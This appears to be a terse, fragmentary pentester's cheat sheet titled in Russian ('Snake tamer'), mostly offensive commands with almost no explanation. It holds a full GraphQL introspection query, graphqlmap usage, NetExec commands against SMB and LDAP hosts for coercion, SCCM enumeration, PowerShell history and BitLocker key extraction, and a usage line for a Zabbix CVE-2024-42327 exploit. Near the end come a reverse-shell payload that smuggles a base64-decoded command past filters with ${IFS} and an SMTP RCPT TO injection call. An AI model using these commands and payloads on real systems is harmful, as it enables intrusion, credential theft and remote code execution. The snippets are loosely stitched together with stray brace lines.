Укротитель змей

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080

nxc smb 192.168.13.37 -u 'USERNAME' -p 'LOLKEKPOHEK' --interfaces

nxc smb 192.168.13.37 -u 'USERNAME' -p 'LOLKEKPOHEK' -M coerce_plus

nxc ldap 192.168.13.37 -u 'USERNAME' -p 'LOLKEKPOHEK' -M sccm -o REC_RESOLVE=TRUE

nxc smb 192.168.13.37 -u 'USERNAME' -p 'LOLKEKPOHEK' -M powershell_history -o export=True

nxc smb 192.168.13.37 -u 'USERNAME' -p 'LOLKEKPOHEK' -M bitlocker

{

{

{

{

http://zabbix/api_jsonrpc.php

Zabbix 6.0.0–6.0.31
Zabbix 6.4.0–6.4.16
Zabbix 7.0.0.

cve-2024-42327.py -u http://zabbix/api_jsonrpc.php -n Vanya -p Qwerty123

payload = f"echo${{IFS}}{base64_revshell}|base64${{IFS}}-d|bash"

self.send_smtp_command(f"RCPT TO: <{self.generate_injected_rcpt_to()}>")

python exploit.py